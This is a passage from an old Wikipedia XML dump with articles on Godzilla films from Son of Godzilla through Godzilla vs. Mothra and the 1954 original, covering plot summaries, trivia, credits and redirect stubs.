The baby quickly grows to about half the size of his father, and Godzilla instructs the child on the important monster skills of roaring and using his radioactive breath.  At first, the baby has difficulty producing anything more than smoke rings, but Godzilla discovers that stressful conditions, such as stomping on the baby's tail, produce a true radioactive blast.  Dubbed [[Minya]] or Minilla (Miniature Godzilla), the baby comes to the aid of Riko when she is attacked by a Kamacura, but inadvertedly awakens [[Kumonga]], a giant spider.  The spider attacks the caves where the scientists are hiding, and Minya stumbles into the fray.

The scientists decide to complete their experiment, thereby freezing the monsters so they can escape.  Godzilla comes to the aid of his offspring, and together the two are able to defeat Kumonga, with Minya finally learning to control his radioactive blast.  As the scientists escape to a waiting submarine they witness Minya succumbing to the cold.  Unable to abandon his offspring, Godzilla shelters his son in his arms, and the two fall unconscious.  The scientists realize that the cold has placed the two monsters into a state of hibernation, but they will awaken once the snow melts and live in peace on the island.

==Trivia==

Sogell Island is nicknamed &quot;Monster Island&quot; by the reporter.  This has led to speculation that the island may be the same island that the [[Kaiju]] are all confined to in subsequent films.

In the english dub, Minya is referred to only as the &quot;baby Godzilla&quot;.

== External links ==

* [http://www.geocities.com/nmdecke/SonofGodzilla.html Son of Godzilla movie review]


*{{imdb title|id=0061856|title=Son of Godzilla}}

{{sf-film-stub}}

{{Template:Godzilla}}

[[Category:1967 films]]
[[Category:Japanese films]]
[[Category:Godzilla films]]

[[ja:%E6%80%AA%E7%8D%A3%E5%B3%B6%E3%81%AE%E6%B1%BA%E6%88%A6_%E3%82%B4%E3%82%B8%E3%83%A9%E3%81%AE%E6%81%AF%E5%AD%90]]</text>
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  <page>
    <title>Destroy All Monsters</title>
    <id>11994</id>
    <revision>
      <id>41122392</id>
      <timestamp>2006-02-25T04:44:33Z</timestamp>
      <contributor>
        <username>WhisperToMe</username>
        <id>15708</id>
      </contributor>
      <text xml:space="preserve">:''This article is about the film. For the 1970's anti-rock band see [[Destroy All Monsters (band)]]''.

'''''Destroy All Monsters''''' (怪獣総進撃 ''Kaijū Sōshingeki'', &quot;All Monsters Charge&quot;) is a [[1968 in film|1968]] [[daikaiju]] [[eiga]]. The ninth in [[Toho|Toho Studios]]' [[Godzilla]] series, it was directed by [[Ishiro Honda]] with special effects by [[Eiji Tsuburaya]] and [[Sadamasa Arikawa]]. While the plot resembles that of ''[[Godzilla vs. Monster Zero]]'' (1965), this entry is significant in that it showcases 11 daikaiju, a record for the Godzilla series until ''[[Godzilla: Final Wars]]'' (2004). Several of these ([[Gorosaurus]], [[Baragon]], [[Manda]], [[Varan]]) had only appeared in their debut films at this point; others ([[Anguirus]], [[Rodan]], [[Mothra]], [[Minya]], [[Kumonga]]) returned from previous Godzilla films.

{{spoilers}}
The movie takes place in [[1999]] and features a race of aliens called [[Alien races from the Godzilla films#Kilaaks (&amp;#12461;&amp;#12521;&amp;#12450;&amp;#12463;&amp;#26143;&amp;#20154;)|Kilaaks]], who take control the Earth's monsters and send them to destroy major cities.  A group of heroic astronauts foil the Kilaaks' plan and free the monsters, who then (led by Godzilla) turn to fight the Kilaak's own secret ally, [[King Ghidorah]]. This leads to one of the grandest (and most ambitious) climaxes in daikaiju eiga.

==Trivia==
*This was the last Godzilla film in which Tsuburaya had any direct involvement, and was originally intended to be the final Godzilla film, the closing scene a tribute both to the special effects director and to the daikaiju.  Toho changed their minds following the success of this film at the Japanese box office.
*The band [[Destroy All Monsters (band)|Destroy All Monsters]] took their name from the title of this film.

== External links ==

* [http://www.geocities.com/nmdecke/DestroyallMonsters.html Destroy All Monsters! movie review]


*{{imdb title|id= 0063172 |title=Kaijû sôshingeki}}

{{Template:Godzilla}}

[[Category:1968 films]]
[[Category:Japanese films]]
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  <page>
    <title>Godzilla's Revenge</title>
    <id>11995</id>
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      <id>31528597</id>
      <timestamp>2005-12-15T22:25:01Z</timestamp>
      <contributor>
        <ip>24.224.138.240</ip>
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      <comment>Changed to redirect. Absolutely no content on this stub that can't be found on the more fleshed out article about the exact same movie listed under it's alternate name.</comment>
      <text xml:space="preserve">#REDIRECT [[All Monsters Attack]]</text>
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  <page>
    <title>Godzilla/Godzilla vs Gigan</title>
    <id>11996</id>
    <revision>
      <id>27134724</id>
      <timestamp>2005-11-02T04:03:05Z</timestamp>
      <contributor>
        <username>Apostrophe</username>
        <id>110322</id>
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      <text xml:space="preserve">#REDIRECT [[Godzilla vs. Gigan]]</text>
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  <page>
    <title>Godzilla vs The Smog Monster</title>
    <id>11997</id>
    <revision>
      <id>32402609</id>
      <timestamp>2005-12-22T21:04:13Z</timestamp>
      <contributor>
        <username>Kappa</username>
        <id>105499</id>
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      <comment>#redirect [[Godzilla vs. Hedorah]]</comment>
      <text xml:space="preserve">#redirect [[Godzilla vs. Hedorah]]</text>
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  <page>
    <title>Godzilla vs. Megalon</title>
    <id>11998</id>
    <revision>
      <id>39086948</id>
      <timestamp>2006-02-10T17:02:19Z</timestamp>
      <contributor>
        <username>Nmdecke</username>
        <id>914443</id>
      </contributor>
      <text xml:space="preserve">'''''Godzilla vs. Megalon''''' (&amp;#12468;&amp;#12472;&amp;#12521;&amp;#23550;&amp;#12513;&amp;#12460;&amp;#12525;) (''Gojira tai Megaro'') is a [[1973]] [[tokusatsu]] [[film]], the 13th in the [[Godzilla]] series of Japanese monster movies.  It was directed by [[Jun Fukuda]], with special effects by [[Teruyoshi Nakano]].

The monsters featured are [[Godzilla]], [[Megalon]], [[Gigan]] and [[Jet Jaguar]].

==The story==

In the film, the undersea civilization Seatopia has been heavily affected by nuclear testing conducted by the surface nations of the world. Naturally upset by this, they unleash their civilization's protector, Megalon, to the surface to destroy those who would &amp;mdash; unknowingly or not &amp;mdash; destroy them. Agents of Seatopia attempt to steal the newly-constructed super-robot Jet Jaguar, which can apparently be used to guide and direct Megalon. They also capture the robot's inventor, Goro Ibuki, his kid brother Rokuro and their friend Hiroshi Jinkawa. After Jet Jaguar is used by the Seatopians to lure Megalon to Tokyo, Goro manages to regain control, and sends Jet Jaguar to Monster Island to bring Godzilla back to fight Megalon. An extended fight scene then takes place, with Godzilla and Jet Jaguar, the latter newly giant-sized and self-directed, fighting Megalon and Gigan in the hills outside Tokyo. The film ends with Megalon and Gigan defeated, Godzilla returning to Monster Island, and Jet Jaguar returning to his previous, human-sized state.

==The worst Godzilla film?==

Although produced mainly for children in Japan, this film is debated amongst fans to be one of the worst of the series. It is also one of the most widely seen due to it falling into the [[public domain]] (which has changed, thanks to [[Toho]]), and is considered by many to be one of the reasons for the low opinion of Godzilla commonly held in the U.S. It was one of two Godzilla films featured as episodes on ''[[Mystery Science Theater 3000]]'', an American television comedy that mocks [[B-movie]]s (the other being ''[[Godzilla vs. the Sea Monster]]'').

However, not all Godzilla fans share this low opinion. Some fans of the successful [[tokusatsu]] [[superhero]] genre find ''Godzilla vs. Megalon'' an enjoyable instance of the genre.

==Trivia==

* While the principal scenes were shot in less than a week and the special effects scenes (by [[Teruyoshi Nakano]]) took three weeks, the overall production (including planning) took six months, especially since this was originally not going to be a Godzilla film (see below).
* [[Jet Jaguar]] was the earliest example of a [[fanservice]] in a Godzilla film, the result of a contest [[Toho]] had in mid-to-late [[1972]] for children to come up with a new hero for them to use (to capitalize on the many [[tokusatsu]] and [[anime]] [[superhero]] and [[super robot]] shows that were all the rage at the time). The winner of the contest was an [[elementary school]] student, who submitted the drawing of a robot called ''Red Arone'', which superficially resembled both [[Ultraman]] and [[Mazinger Z]] (both of which were very popular at the time). The robot was renamed &quot;Jet Jaguar&quot; and was set to star in a film vehicle for him, titled ''Jet Jaguar vs. Megalon'', which pitted him against [[Megalon]] (a previously unused Godzilla monster design). However, Toho figured Jet Jaguar would not be able to carry the film on his own, either in screen appearance or marketing value (both important to Toho), so they shut the project down during pre-production after doing some tests and storyboards. Several weeks later, screenwriter [[Shinichi Sekizawa]] was called in to rewrite the script to add [[Godzilla]] and [[Gigan]], providing more marquee value (especially since Godzilla was still very popular with children).
* According to Teruyoshi Nakano, the Godzilla suit was made in a week, the fastest suit ever made to date. [[Haruo Nakajima]], the original Godzilla suit actor, had just left the series, so it was refitted for [[Shinji Takagi]]. (Nakajima did try out the costume upon his visit to the studio in behind-the-scenes footage.)

==Credits==

===Staff===

*Producer: [[Tomoyuki Tanaka (producer)|Tomoyuki Tanaka]]
*Director: [[Jun Fukuda]]
*Special Effects Director: [[Teruyoshi Nakano]]
*Screenplay: [[Shinichi Sekizawa]], [[Jun Fukuda]]
*Music: [[Riichiro Manabe]]
**Ending Theme: &quot;With Godzilla and Jet Jaguar, Punch Punch Punch&quot; (''Gojira to Jetto Jagâ de Panchi Panchi Panchi'')
**Performed by [[Masato Shimon]]


===Cast===

*Goro Ibuki: [[Katsuhiko Sasaki]]
*Rokuro &quot;Roku-chan&quot; Ibuki: [[Hiroyuki Kawase]]
*Hiroshi &quot;Jinko&quot; Jinkawa: [[Yutaka Hayashi]]
*Antonio, Emperor of Seatopia: [[Robert Dunham]]
*Seatopian Agent Leader: [[Kotaro Tomita]]
*Seatopian Agent: [[Wolf Otsuki]]
*JSDF General: [[Kanta Mori]]
*Godzilla: [[Shinji Takagi]]
*Megalon: [[Hideto Odachi]]
*Jet Jaguar: [[Tsugutoshi Komada]]
*Gigan: [[Kenpachiro Satsuma]] (as Kengo Nakayama)

==External links==


* [http://www.geocities.com/nmdecke/GodzillavsMegalon.html Godzilla vs. Megalon movie review]


* {{imdb title|id=0070122|title=Gojira tai Megaro}}

{{Template:Godzilla}}

[[Category:1973 films]]
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  <page>
    <title>Godzilla vs The Cosmic Monster</title>
    <id>11999</id>
    <revision>
      <id>27134741</id>
      <timestamp>2005-11-02T04:03:18Z</timestamp>
      <contributor>
        <username>Apostrophe</username>
        <id>110322</id>
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      <text xml:space="preserve">#REDIRECT [[Godzilla vs. Mechagodzilla]]</text>
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  <page>
    <title>Godzilla vs Biollante</title>
    <id>12000</id>
    <revision>
      <id>40151305</id>
      <timestamp>2006-02-18T15:11:42Z</timestamp>
      <contributor>
        <username>Eskimbot</username>
        <id>477460</id>
      </contributor>
      <minor />
      <comment>robot  Modifying: fr</comment>
      <text xml:space="preserve">{{Infobox_Film |
  name           = Godzilla vs. Biollante |
  image          =  |
  director       = [[Kazuki Omori]] |
  producer       = [[Tomoyuki Tanaka (producer)|Tomoyuki Tanaka]]&lt;br&gt;[[Shogo Tomiyama]] |
  writer         = [[Shinichirō Kobayashi]] (story)&lt;br&gt;[[Kazuki Omori]] |
  starring       = [[Kunihiko Mitamura]]&lt;br&gt;[[Yoshiko Tanaka]]&lt;br&gt;[[Koji Takahashi]]&lt;br&gt;[[Megumi Odaka]] |
  music          = [[Koichi Sugiyama|Kouichi Sugiyama]] |
  distributor    = [[Toho]] |
  released       = [[December 16]], [[1989]] |
  runtime        = 105 min. |
  language       = [[Japanese language|Japanese]]&lt;br&gt;[[English language|English]] |
  imdb_id        = 0097444 |
  budget         =  |
}}'''''Godzilla vs Biollante''''' (''Gojira Tai Biollante'') is a [[1989]] [[daikaiju]] [[eiga]], the seventeenth entry in [[Toho]]'s [[Godzilla]] series and a direct sequel to ''[[The Return of Godzilla]]''. It was the first film in the series released in the [[Heisei]] period ([[Emperor Hirohito]] had passed away earlier in the year), but would become the second film in the [[VS Series]], also called the Heisei Series. It was directed by [[Kazuki Omori]] with special effects by [[Koichi Kawakita]].

This film focuses [[biotechnology]], specifically the dangers of its use, its potential effects on the [[balance of power]], and the threat of [[germ warfare]]. In addition to the genetic mutation [[Biollante]] and the second incarnation of the &quot;Super X&quot; flying battleship, it features a heavy element of [[espionage]] and several action sequences inspired by the [[James Bond]] films.

==Plot==
{{spoiler}}
The movie begins where ''The Return of Godzilla'' left off, with [[Godzilla]] sealed away inside of a volcano and a scientific team picking through the ruins of a ravaged district of [[Tokyo]], searching for tissue samples left behind by Godzilla. The search is successful. However, a mercenary unit attacks and kills the scientists, stealing the tissue samples and escaping.

Meanwhile, in the [[Middle East]], a [[Japanese people|Japanese]] researcher named Dr. Shiragami looks forward to returning home to [[Japan]] with his daughter, Erika. Unfortunately, a terroristic bombing destroys the research facility in which he works and kills his daughter.

Segue five years later. Dr. Shiragami is now a haunted dreamer, who has lately turned a majority of his attention to the study of the psychic energy of [[roses]]. A young psychic named [[Miki Saegusa]], who also heads an institution for intuitive children, aids him in his research. Dr. Shiragami is now seen as a harmless old man who uses his scientific knowledge to satisfy his own curiosity.

However, two groups are watching Shiragami: a gang of thieves hired by a rival scientific company a group of assassins from a Middle Eastern country called Saradia. As it turns out, Dr. Shiragami is involved in the study of Godzilla cells, which are kept in a high security facility. It is believed by Shiragami's employers that he is aiding them in figuring out how to utilize the cells' properties to strengthen crop growth. But Shiragami, unbeknownst to everyone but himself, as been conducting his own secret experiments...

When both the thieves and the assassins catch each other breaking into the facility, a gunfight ensues. It is interrupted by an attack of a giant, mobile plant that kills one man and nearly kills another. The thieves flee, and the assassin barely escapes from the creature's grasp. Neither group realizes that they have just encountered the result of Dr. Shiragami's secret experimentations.

The next morning a giant flower is seen in [[Tokyo Bay]], and Dr. Shiragami confesses that he combined the DNA of roses with that of Godzilla. Furthermore, he confesses privately to a young official that he had, in a fit of desperate grief, added the DNA of his daughter Erika to the mutated genetic structure, so that some of the creature is composed of Erika as well.

Meanwhile, the thieves send a letter to the [[Diet of Japan|Diet]], informing Japan's government that they have planted a bomb inside of [[Mt. Mihara]], Godzilla's current prison. If the Godzilla cells are not handed over, the thieves threaten to detonate the bombs and release Godzilla. With the entire country held hostage, the government is forced to comply.
The trade-off with the thieves goes well until the Saradian agent (the assassin) shows up, killing the two remaining thieves before being driven off. The thieves die before they can show the officials how to deactivate the explosives, which are set on a timer. The bombs go off, Mt. Mihara erupts, and the mighty Godzilla is once again free.

Upon hearing Godzilla's roar, Biollante's blossom opens, and the creature begins calling out to Godzilla. Dr. Shiragami theorizes that this is because both Godzilla and Biollante are essentially the same being. With Godzilla's destination made clear, the JSDF prepare their strategies at dealing with the nearly indestructible creature. The [[Super-X 2]], a remote controlled and stronger version of the [[Super-X]] from [[The Return of Godzilla]], is deployed, and though at first seems effective in combating Godzilla, is eventually overwhelmed by Godzilla's brute strength, and is forced to retreat. Miki Saegusa also tries to help, attempting to make Godzilla turn away from Japan. Her efforts distract Godzilla momentarily, but force of Godzilla's will overwhelms the young psychic, and she faints.

Godzilla reaches Biollante, whereupon the giant plant attacks it. A mighty battle ensues, and briefly it appears that there is a stalemate. However, Godzilla's heat ray has an adverse affect on the composition of Biollante's cells, and the plant monster begins to disintegrate from exposure to the attack. With Biollante apparently dead, Godzilla continues on.

By now the JSDF is ready, with the young Lieutenant Goro Gondo in charge of operations. It is theorized that Godzilla, running low on radioactive energy after its fights with the Super-X 2 and Biollante, will head towards the nearest operational nuclear generator, which is located in Osaka...on the other side of the country. When Godzilla arrives in Osaka, a plan is put into action, involving infecting Godzilla with [[Anti-Nuclear Bacteria]], which Dr. Shiragami helped develop. The bacteria devour all radioactive material, and should prove fatal to Godzilla. The operation is initially successful, despite the death of one soldier, with ANB injected into Godzilla at three different points, including its mouth. But Godzilla is unaffected by the germs, and continues on.

The failure of the bacteria to work is attributed to Godzilla's low body temperature, which keeps the bacteria in a near-dormant state. If Godzilla can be heated, Shiragami theorizes, then the ANB should work.

With Godzilla still in Osaka, a desperate attempt to save the city is implemented, with the damaged Super-X 2 being redeployed. A brief fight with Godzilla ends with the craft being destroyed. Victorious, Godzilla heads for the nuclear facility.

The JSDF has one last plan: lure Godzilla onto a field of microwave-emitting plates, where it will be heated by the microwaves. Once heated, the ANB should become active, and kill Godzilla.

[[Image:Biollante! 2nd stage.jpg|thumb|right|Biollante in her final form]]

The operation begins, but it seems that Godzilla isn't affected by the microwaves as it crushes plate after plate beneath its feet. Just as everything seems lost a low rumble is heard, and a larger, more mutated Biollante emerges from the ground. After destroying all nearby land forces, Biollante attacks Godzilla, and the two massive monsters (with Biollante being roughly 50% larger than Godzilla) fight to a standstill. Suddenly, however, Godzilla begins to wobble and, losing its balance, falls headfirst into the ocean. With the intense battle raising its body temperature, the ANB inside of Godzilla became active. With Godzilla apparently taken care of, the mortally wounded Biollante succumbs to its injuries and dies, disintegrating and firing its spores into space. As the monsters remains float upwards, Dr. Shiragami sees the image of his daughter among the spores. Calling out to her, he walks forward, and is shot in the chest by the Saradian agent, who is still after Godzilla's cells. A young official chases the agent and fights him. The agent is at a disadvantage until he is able to grab his weapon again. Unarmed, the official awaits death as the agent, from atop an inactive microwave plate, takes aim. Suddenly the agent disintegrates, and the audience sees Lieutenant Gondo remove his finger from the button that activated the plate.

With everything resolved, the characters take a moment to reflect and relax, when a dark form rises from the water. It is Godzilla, whose body temperature has been lowered by the cool sea water. With the ANB inactive again, Godzilla is healthy again, albeit restricted to the ocean. Seemingly content with this, Godzilla turns and heads for deeper waters.

The body of Dr. Shiragami is placed inside a tent, with his superior briefly mourning him before leaving. Erika is heard to comment on the events of the film, and the movie ends with a shot of Godzilla swimming away.

{{Template:Godzilla}}

[[Category:1989 films]]
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[[fr:Godzilla vs Biollante]]
[[ja:ゴジラvsビオランテ]]</text>
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  <page>
    <title>Terror of Mechagodzilla</title>
    <id>12001</id>
    <revision>
      <id>40365932</id>
      <timestamp>2006-02-20T02:10:44Z</timestamp>
      <contributor>
        <username>David.alex.lamb</username>
        <id>917191</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''''Terror of Mechagodzilla''''' (メカゴジラの逆襲 - ''Mekagojira no Gyakushû'', meaning &quot;Mechagodzilla's Counterattack&quot; or &quot;Mechagodzilla Strikes Back&quot;), also known as ''The Terror of Godzilla'' in the original [[United States of America|American]] theatrical release, is a [[1975]] [[tokusatsu]] [[kaiju]] [[film]].  The 15th film in [[Toho]]'s [[Godzilla]] series, it was directed by [[Ishiro Honda]] with special effects by [[Teruyoshi Nakano]].  [[Akira Ifukube]] provides the music score.  The movie was written by [[Yukiko Takayama]], who was the second female writer for a Godzilla film (the first was [[Kazue Shiba]], who wrote for [[1967]]'s ''[[Son of Godzilla]]'').

The monsters featured in this film are [[Godzilla]], [[Mechagodzilla|Mechagodzilla # 2]] and a new monster, [[Titanosaurus (Godzilla)|Titanosaurus]].

This was the last movie in the original Godzilla series before ''[[The Return of Godzilla]]'' began a new series of Godzilla films in [[1984]]. It is also the last Godzilla movie to feature the creature as a hero for Japan and the world.  Because of the crash of Japanese cinema and the [[Energy crisis]] of the mid-to-late [[1970s]] (which had also affected some television shows), the Godzilla film series was forced to go into hibernation.  As a result, this film had the lowest attendance figures of all the movies in the series.

==The Plot==

Continuing after the end of ''[[Godzilla vs Mechagodzilla]]'' (1974), [[Interpol]] agents, led by Inspector Kusakari (played by [[Masaaki Daimon]]), search for the wreck of [[Mechagodzilla]] underwater in the Akatsuki submarine to gather information on its builders, the [[Alien_races_from_the_Godzilla_films#Black_Hole_Planet_3_Aliens_.28.E3.83.96.E3.83.A9.E3.83.83.E3.82.AF.E3.83.9B.E3.83.BC.E3.83.AB.E7.AC.AC3.E6.83.91.E6.98.9F.E4.BA.BA.29|aliens from Planet 3 in the Black Hole]].  But the submarine is suddenly ravaged by a giant dinosaur called [[Titanosaurus (monster)|Titanosaurus]], and the crew is apparently lost . . .

In response to the incident, Interpol begins to investigate.  With the help of marine biologist Akira Ichinose ([[Katsuhiko Sasaki]]), they trace the incident and Titanosaurus to a reclusive, [[mad scientist|misanthropic scientist]] named Shinzô Mafune ([[Akihiko Hirata]]), who was forced to leave the institute, and wants to destroy them as well as all of mankind.  When visiting his old house in the seaside forest of [[Manazuru, Kanagawa|Manazuru]], they meet Mafune's lone daughter Katsura ([[Tomoko Ai]]), who tells them that not only is her father dead, but she also burned all of his notes on the dinosaur monster (at her father's request), but unbeknownst to them, Mafune himself is alive and well, visited by his scientist friend Tsuda ([[Toru Ibuki]]), who turns out all along to be an aide to the new Planet 3 alien leader Mugal ([[Goro Mutsumi]]), who is leading the project to quickly rebuild [[Mechagodzilla]] (now &quot;Mechagodzilla # 2&quot;)!  Mugal offers their services to Mafune, so that his Titanosaurus and their Mechagodzilla will be the ultimate weapons.  The ultimate goal of this new wave of Planet 3 Aliens is to wipe out mankind (as they feel humans are a race of imperfect, polluted minds that they feel the world would do without) and rebuild cities around the world (starting with Tokyo) as a high-tech dystopia.

But things are complicated for both factions when Ichinose falls in love with Katsura, and unwittingly giving her Interpol's secret information against Titanosaurus, Mechagodzilla and the aliens.  We also find that Katsura is actually a cyborg (she was fatally wounded by Mafune's faulty equipment years earlier, and Tsuda saved her life with cybernetics), and Mugal may have use for her . . .

In the course of the film, Interpol discover's Titanosaurus' weakness: Supersonic waves.  But when they construct a Supersonic Wave Oscillator, Katsura sabotages the machine, prompting Interpol to hastily repair it before Mafune and the aliens unleash Mechagodzilla and Titanosaurus on Tokyo.

And when the situation gets desperate, [[Godzilla]] comes to the rescue . . .

==Trivia==

*This was the last Godzilla film directed by Ishirō Honda.  He was slated to direct [[Godzilla vs Mechagodzilla II]] ([[1993]]) but passed away early that year.

*This was Akihiko Hirata's final appearance in a Godzilla film.  He was slated to play Professor Hayashida in ''[[The Return of Godzilla]]'' ([[1984]]) but died of lung cancer before production began (Hirata was replaced by [[Yosuke Natsuki]]).

*This was Tomoko Ai's film debut.  She was previously a semi-regular in the TV series ''[[Ultraman Leo]]''.

*In Takayama's original script, the monster Titanosaurus was the singular, combined form of twin &quot;Titan&quot; dinosaurs, which were to meet and unite at some point in the story.  (Compare to [[Hedorah]] and [[Destoroyah]].)  Due to budgetary constraints, only the singular form was used.

*Current [[United States|U.S.]] prints are severely edited for [[Violence#Violence_in_the_media|violent content]] (some important plot points removed in the process).  This film also had the first shot of nudity in a Godzilla film (gone from all U.S. prints): Katsura's prosthetic breasts exposed while Planet 3 surgeons graphically operate on her lower heart area.

== External links ==

* [http://www.geocities.com/nmdecke/TerrorofMechaGodzilla.html Terror of MechaGodzilla movie review]





{{Template:Godzilla}}

[[Category:1975 films]]
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  <page>
    <title>Godzilla vs. King Ghidorah</title>
    <id>12002</id>
    <revision>
      <id>32929069</id>
      <timestamp>2005-12-27T23:40:06Z</timestamp>
      <contributor>
        <username>Crazilla</username>
        <id>608941</id>
      </contributor>
      <minor />
      <comment>/* Plot */</comment>
      <text xml:space="preserve">'''''Godzilla vs. King Ghidorah''''' ([[1991]]) is the 18th installment in the ''[[Godzilla]]'' series of films. The movie was released theatrically in Japan on [[December 14]], [[1991]]. It was directed by [[Kazuki Omori]] and produced by [[Shogo Tomiyama]]. The special effects provided by [[Koichi Kawakita]] was also another highlight in the credits. This film was considered the most controversial in the series. Mostly noticeable was the [[World War II]] sequence. The scene depicted U.S. soldiers being killed by [[Godzillasaurus]] on Lagos Island. After the movie's theatrical release, an [[United States|American]] cable news broadcast reported that the film included anti-[[United States|American]] sentiments. The time travelers, known as the Futurians, were also discussed due to their Western nationality. Director [[Kazuki Omori]] did defend ''Godzilla vs. King Ghidorah'' saying that the movie wasn't meant to be anti-[[United States|American]].

==Plot==

{{spoiler}}
A spaceship appears in Japan, coinciding with Godzilla's awakening in the ocean. The ship actually turns out to be from the future, inhabited by time travellers who warn Japan of the grave future that it has ahead of them; due to industrialization and nuclear power, Godzilla will reappear and destroy the country for good, or so the Futurians say. A small group of Japanese civilians and military personnel are selected by the Futurians to go back to 1944 and delete Godzilla from history, thus preventing Japan's bleak future. Godzillasaurus (the dinosaur that would become Godzilla after radiation exposure) was relocated to the Bering Sea by the Futurians. Unbeknownst to the Japanese, however, the Futurians replace Godzillasaurus with three [[genetically engineered]] creatures called Dorats, who are exposed to the radiation meant for Godzilla and mutate into the three-headed, dragon-like [[King Ghidorah]], who appears in Japan in the present. It is then that the Futurians' true malevolent intentions are exposed; King Ghidorah is used as a weapon to destroy Japan. The present-day Japanese then seek out Godzillasaurus to create a new Godzilla, who is the only force powerful enough to defeat King Ghidorah and the Futurians. However, creating one wasn't necessary, since Godzilla would not be denied his destiny, and was created anyway, due to a massive nuclear explosion in the Bering Sea. He returned to Japan and defeated Ghidorah, decapitating its middle head, then destroyed the Futurians and their ship. He set out to finish what King Ghidorah started, by stomping across Japan and ravaging it himself. Before he could level Tokyo, a surviving Futurian resurrects King Ghidorah as a robotic [[android]] and uses it to subdue Godzilla, dropping him into the ocean, where he rests, for now.

{{Template:Godzilla}}

[[Category:1991 films]]
[[Category:Japanese films]]
[[Category:Godzilla films]]

[[fr:Godzilla vs King Ghidorah]]
[[ja:%E3%82%B4%E3%82%B8%E3%83%A9vs%E3%82%AD%E3%83%B3%E3%82%B0%E3%82%AE%E3%83%89%E3%83%A9]]</text>
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  <page>
    <title>Godzilla vs. Mothra</title>
    <id>12003</id>
    <revision>
      <id>41991601</id>
      <timestamp>2006-03-03T02:12:25Z</timestamp>
      <contributor>
        <ip>69.123.15.167</ip>
      </contributor>
      <text xml:space="preserve">'''''Godzilla vs Mothra''''' (ゴジラvsモスラ - ''Gojira tai Mosura'' in [[Japanese (language)|Japanese]], released as '''''Godzilla and Mothra: The Battle for Earth''''' in the U.S.) is a [[1992]] [[daikaiju]] [[eiga]]. Fourth in [[Toho|Toho Studios]]' [[VS Series]] of [[Godzilla]] films, it was directed by [[Takao Okawara]] from a screenplay by [[Kazuki Omori]] with special effects by [[Koichi Kawakita]].

In the beggining of the world the dominent species were the shobijin, but they polluted the planet so the monster Battra was destroyed, a replica of the shobijin's Mothra. After destroying their race Battra went into hibernation so that he could destroy an asteroid that would strike earth in 10,000 years. But the monster is awoken early when a new race of creatures begins polluting the planet. On a far off island a large egg is unearthed in a storm. A pair of Shobijin who survived Battra's attack warned the humans that the egg belonged to Mothra and that she would attack them if they did not return it. But the humans did not listen and so Mothra took matters into her own hands. With Godzilla erupting from a volcano the three monsters began a vicious melee, which ended with the adult Mothra being killed. But the larvae Mothra who hatched from the egg transformed into her adult to fight Godzilla. Joining forces with Battra, who had also transformed to it's adult stage, the two insects managed to defeat and trap Godzilla underwater. However Battra was severely injured during the fight by Godzilla and died shortly afterwards. Mothra then left into space to take Battra's place and destroy the asteroid heading for earth.

{{sf-film-stub}}
{{Template:Godzilla}}

[[Category:1992 films]]
[[Category:Japanese films]]
[[Category:Godzilla films]]

[[fr:Godzilla vs Mothra]]
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  <page>
    <title>Godzilla (1954 film)</title>
    <id>12004</id>
    <revision>
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      <contributor>
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      <comment>/* Follow up */</comment>
      <text xml:space="preserve">{{Infobox Film |
  name         = Gojira ゴジラ (Godzilla) |
  image              = Gojira18.jpg|
  writer             = [[Ishiro Honda|Ishirō Honda]]&lt;br&gt;[[Takeo Murata]]&lt;br&gt;[[Shigeru Kayama]] (story) |
  starring           = [[Akira Takarada]]&lt;br&gt;[[Momoko Kochi|Momoko Kōchi]]&lt;br&gt;[[Akihiko Hirata]]&lt;br&gt;[[Takashi Shimura]] |
  director           = [[Ishiro Honda|Ishirō Honda]] |
  producer           = [[Tomoyuki Tanaka (producer)|Tomoyuki Tanaka]] |
  distributor        = [[Toho|Toho Eizo]] ([[Japan]])&lt;br&gt;[[Rialto Pictures]] ([[USA]]) |
  released       = [[November 3]] [[1954]] (Japan)&lt;br&gt;[[May 7]] [[2004]] (USA) |
  runtime            = 98 min. |
  language     = [[Japanese language|Japanese]]|
  imdb_id            = 0047034 |
  budget             = $1,00,000 US (est.) |
}}

'''''Godzilla''''' (ゴジラ - ''Gojira'') is a [[1954]] [[Japan|Japanese]] [[science fiction film]], produced by [[Toho|Toho Film Company Ltd]].  The film was directed by [[Ishiro Honda]] and had special effects by [[Eiji Tsuburaya]].  It was the first of many &quot;giant monster&quot; movies (known as ''[[kaiju]]'') to be produced in [[Japan]], many featuring the title character.  Thanks to the magic of said men, this film revolutionized the [[tokusatsu]] fantasy film genre as we know it.

==Synopsis== 
{{spoiler}}

Filmed in stark [[black and white]], ''Godzilla'' tells the story of a giant, fire-breathing prehistoric monster who is disturbed by [[United States|American]] [[atom bomb]] testing in the [[Pacific Ocean]]. The monster attacks a number of ships and makes a brief land appearance, before coming ashore in [[Tokyo]] and destroying the entire city during an unstoppable rampage. 
The monster is finally defeated when a Japanese [[scientist]] named Serizawa ([[Akihiko Hirata]]) uses an experimental underwater weapon ([[Oxygen Destroyer|the Oxygen Destroyer]]) to destroy it.  The scientist intentionally sacrifices his life while destroying Gojira, because he believes his invention is too terrible to be used by humanity.

==Analysis==
The monster [[Godzilla|Gojira]] is widely seen as an allegory for the [[atomic bomb]]: an unstoppable force, powered by radiation, that lays waste to Japan in a manner similar to what occurred in [[World War II]].  It could also be an allegory for America as a threatening nuclear power; this movie was made only nine years after Japan's defeat, and only a few months after the [[Castle Bravo]]/[[Daigo Fukuryu Maru]] nuclear testing accident which had a great psychological impact on Japanese society.  Unlike later movies in the &quot;giant monster&quot; genre, ''Gojira'' was filmed in a completely serious manner, and it has lost little of its power in the years since.  [[Ishiro Honda]], the director, was a second-unit director on several of [[Akira Kurosawa]]'s films, and his stark black-and-white cinematography seems more realistic, harsh, and terrifying than many of the later color ''kaiju'' [[movies]].

==Follow up==
For a limited time, ''Gojira'' was originally released in the [[United States]] in a subtitled version confined to theaters catering to Japanese-Americans. This was called ''[[Godzilla]]''.  There it was discovered, however, and its footage reworked and supplemented for general commercial release as ''[[Godzilla, King Of The Monsters]]'' in [[1956]], and the giant monster would be known outside Japan by the name &quot;Godzilla&quot; ever after.  In 1957, the American version even worked its way back to Japan, where the Godzilla name also took root.

== External links ==

*{{imdb title|id=0047034|title=Godzilla}}
*[http://www.rottentomatoes.com/m/gojira/ RottenTomatoes.Com] list of ''Gojira'' reviews.
*[http://rogerebert.suntimes.com/apps/pbcs.dll/article?AID=/20040702/REVIEWS/407020315/1023 Roger Ebert] review of ''Gojira''.
*[http://www.washingtonpost.com/wp-dyn/articles/A22729-2004May12.html 'Godzilla,' Uncut and Unmatched] by Desson Thomson.
